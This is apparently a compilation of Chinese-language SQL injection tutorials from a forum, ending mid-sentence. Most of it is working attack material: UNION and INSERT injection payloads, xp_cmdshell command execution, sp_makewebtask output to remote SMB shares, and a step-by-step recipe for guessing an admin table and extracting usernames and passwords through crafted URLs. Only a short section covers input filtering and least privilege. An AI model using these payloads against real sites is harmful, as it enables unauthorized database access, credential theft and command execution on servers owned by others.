我们来获得第三行的值,构造语句如下:' UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne WHERE FieldOne NOT IN ('Alpha', 'AlphaAlpha') AND FieldTwo NOT IN ('Beta', 'BetaBeta') AND FieldThree NOT IN ('Delta', 'DeltaDelta') AND ''='
这样就避免了得到第一次和第二次我们已经得到的值,我们就这样试下去会得到数据库中所有的值。这看起来好像确实比较麻烦,但在这里却是最有效的,不是么?

3.3 插入
3.3.1 插入基础
关键字INSERT 被用于向数据库添加信息,通常使用INSERT主要在包括用户注册,论坛,添加商品到购物车,等等。检查INSERT使用的弱点和检查WHERE一样。你可能不想使用INSERT,如何避免被利用弱点是一个重要的考虑问题。INSERT注入尝试常常会让数据库以行形式返回结果导致泛滥的单独的引用和SQL关健字的意义可能改变.取决于管理员的注意和信息对数据库的操作,这个是要引起注意的,刚刚说过的那些,INSERT注入和SELECT注入的不同。我们在一个允许用户进行各种注册,这就提供了一个你输入你的名字,地址,电话等等的表单。在你提交了这个表单之后,为了得到进一步的INSERT的弱点,你必须能够看到你提交的信息。它在那里不要紧。可能当你登陆根据在数据库里存储的名字的给予你权利的时候,可能在发送你的spam邮件的。。,谁知道,寻找一个途径至少可以看到你输入的信息。
3.3.2
一个插入的请求看起来象这样:INSERT INTO TableName VALUES ('Vaule One','Value Two','Value Three') 你想可能利用一个在参数VALUES中的子句来看到其他的数据。我们可以使用这种办法,sql的代码象这样:SQLString ="INSERT INTO TableName VALUES ('" & strValueOne & "', '" & strValueTwo & "', '" & strValueThree & "')"我们象这样填写表单:Name: ' + (SELECT TOP 1 FieldName FROM TableName) + ' Email: blah@blah.com Phone: 333-333-3333 使SQL的声明象这样 : INSERT INTO TableName VALUES ('' + (SELECT TOP 1 FieldName FROM TableName) + '', 'blah@blah.com', '333-333-3333')当你到了个人设置页面查看你的使用信息,你将看到的第一个字段这个通常是用户名r如果你使不在你的subselect中使用TOP 1,你将得到一个错误信息说你的subselect返回了太多记录,你能查看表中所有的行,使用NOT IN()同样的方法你可以得到单独的记录。
3.4. SQL服务器存储过程利用
3.4.1 存储过程基础
4. 一个完整安装的MSSQL服务器有上千的存储过程。如果你能在一个后台使用mssql的网页应用程序得到SQL注入,你能使用这些存储过程完成一些非凡的成果。我将讨论很少的特殊的过程。取决于网页程序使用数据库的用户,只有一些可以工作,并不是所有的用户都可以利用。第一件事你应该知道存储过程注入不能通过存储过程的返回值来确定你的注入是否成功.取决于你想完成什么,你可能不需要得到数据。你可以找到返回给你的数据的其他意义。存储过程注入比一般的查询注入要容易些,存储过程的注入的弱点利用看起来象这样。
simplequoted.asp?city=seattle';EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
注意,
Notice how a valid argument is supplied at the beginning and followed by a quote and the final argument to the stored procedure has no closing quote. This will satisfy the syntax requirements inherent in most quoted vulnerabilities. You may also have to deal with parentheses, additional WHERE statements, etc.但是在这以后将不需要担心列和数据的类型的匹配。这个可能弱点的输出象程序无法返回错误信息一样。我最喜欢存储过程。
5. 3.4.2. xp_cmdshell
xp_cmdshell {'command_string'} [, no_output]
master.dbo.xp_cmdshell是存储过程的圣杯,它带来了一个问题,能够调用命令行的数据库用户的和他的运行权限,这个并不可用除非这个网页程序使用的数据库用户是SA. 运行级别为6
sp_makewebtask [@outputfile =] 'outputfile', [@query =] 'query'
6. 另外一个好的调用对象是master.dbo.sp_makewebtask,象你所看的,它是一个本地的输出文件和一个SQL statement。sp_makewebtask可以查询并建立一个包含输出的网页。注意你可以象使用一个UNC路径名一样使用一个本地输出。这个意思就是这个输出文件可以放有在任何一台连在Internet并且有个可写的SMB共享(SMB请求不需要任何的身份验证)。如果有一个防火墙限制了服务器对Internet,试着把输出文件放在网页目录下(你要知道或者猜测网页的目录)。同样值得注意的是引用查询可能是 包括执行其他的存储过程。Making "EXEC xp_cmdshell 'dir c:'" 这个查询将在网页中给出"dir c:"的输出。当你进行嵌套引用的时候,记得单独的引用和双引号。
4. 解决
4.1数据处理
所有的客户端数据可以被恶意的提交的字符或字符串清除。这些可能在所有的应用程序做到,不仅仅是使用SQL查询的。Stripping quotes or putting backslashes in front of them is nowhere near enough.最好的过滤数据的方式是不用规则的表达方式,使它只包括你所想要的字符类型。举个例子,下边的regxp将只能返回字母和数字,尽可能的过滤象s/[^0-9a-zA-Z]//g 这样的特殊字符。可能的时候尽量使用数字,在这以后只使用数字和字母。如果你需要包括各种各样的标志或标点。确信完全的把它们转换成html标记,像“"e;" or ">”。例如,一个用户提交了一个email地址只允许使用数字和字母还有"@", "_", "." 和"-"。仅仅只有这些字符可以转换成html标记。
4.2. 编写安全的web程序
这里同样有很少的特殊的sql注入规则。First, prepend and append a quote to all user input。
尽管数据使数字。其次,限制网页应用程序的数据库用户在数据库里的权限。不要给这个用户访问所有的存储过程的权利如果这个用户只需要访问一些预定义的。
这部分包括了所有在sql注入中有用的系统表,你可以在google上搜索到每一个的表的列的定义
5.1. MS SQL Server
Sysobjects
syscolumns
5.2. MS Access Server
MSysACEs
MSysObjects
MSysQueries
MSysRelationships
5.3. Oracle
SYS.USER_OBJECTS
SYS.TAB SYS.USER_TABLES
SYS.USER_VIEWS SYS.ALL_TABLE
S SYS.USER_TAB_COLUMNS
SYS.USER_CONSTRAINTS SYS.USER_TRIGGERS
SYS.USER_CATALOG

TOP

SQL注入利用的几大步骤

第一步:
http://www.aaa.com/./show.asp?id=259
http://www.aaa.com/./show.asp?id=259 and 1=1
http://www.aaa.com/./show.asp?id=259 and 1=2
简单判断是否可以注入


第二步:
猜测管理员登陆界面!什么admin.asp、admin_admin.asp之类的,猜不出来的话,快点想别的出路!猜出来了再继续猜:
http://www.aaa.com/./show.asp?id=259%20and%20exists%20(select%20*%20from%20admin)
然后猜测登陆账户存在于哪个表中,这里猜的是admin。(假设存在)


第三步:
接下来是个关键!猜测admin表中有哪些字段,下面三条分别是id、username、password是否存在的猜测(假设都存在)。可以根据上面登陆界面里的变量名来猜字段!
http://www.aaa.com/./show.asp?id ... 0id%20from%20admin)
http://www.aaa.com/./show.asp?id ... ame%20from%20admin)
http://www.aaa.com/./show.asp?id ... ord%20from%20admin)


第四步:
http://www.aaa.com/./show.asp?id ... min%20where%20id=1)
猜测admin的ID是多少,注意我用的语法格式,这里假设猜出来ID=1。

http://www.aaa.com/./show.asp?id ... rom%20admin%20where len(username)=6%20and%20id=1)
猜测username长度是否为6。

http://www.aaa.com/./show.asp?id ... %20asc(mid(username,1,1))>110%20and%20id=1)
然后再猜他的用户名是什么,有的时候不能用mid,所以我一般都是直接用left函数猜,比如:
http://www.aaa.com/./show.asp?id ... ere%20left(username,1)=a)

第五步:
重复第五步,只不过将username换成password而已

TOP

SQL注入天书 -

ASP注入漏洞全接触
引 言

随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。

但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。

根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解 ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go...

入 门 篇

如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。

第一节、        SQL注入原理
第二节、       
以下我们从一个网站www.mytest.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。

在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.mytest.com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:

Microsoft JET Database Engine 错误 '80040e14'

字符串的语法错误 在查询表达式 'ID=49'' 中。

/showdetail.asp,行8

从这个错误提示我们能看出下面几点:

1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。

2. 程序没有判断客户端提交的数据是否符合程序要求。

3. 该SQL语句所查询的表中有一名为ID的字段。

从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。


第二节、判断能否进行SQL注入

看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?

其实,这并不是最好的方法,为什么呢?

首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的

  那么,什么样的测试方法才是比较准确呢?答案如下:

http://www.mytest.com/showdetail.asp?id=49

http://www.mytest.com/showdetail.asp?id=49 ;and 1=1

http://www.mytest.com/showdetail.asp?id=49 ;and 1=2

这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:

可以注入的表现:

① 正常显示(这是必然的,不然就是程序有错误了)

② 正常显示,内容基本与①相同

③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)

不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。

  当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。


第三节、判断数据库类型及注入方法

不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。

怎么让程序告诉你它使用的什么数据库呢?来看看:

SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:

http://www.mytest.com/showdetail.asp?id=49 ;and user>0

这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。

顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。

如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

在确认可以注入的情况下,使用下面的语句:

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

如果数据库是SQLServer,那么第一个网址的页面与原页面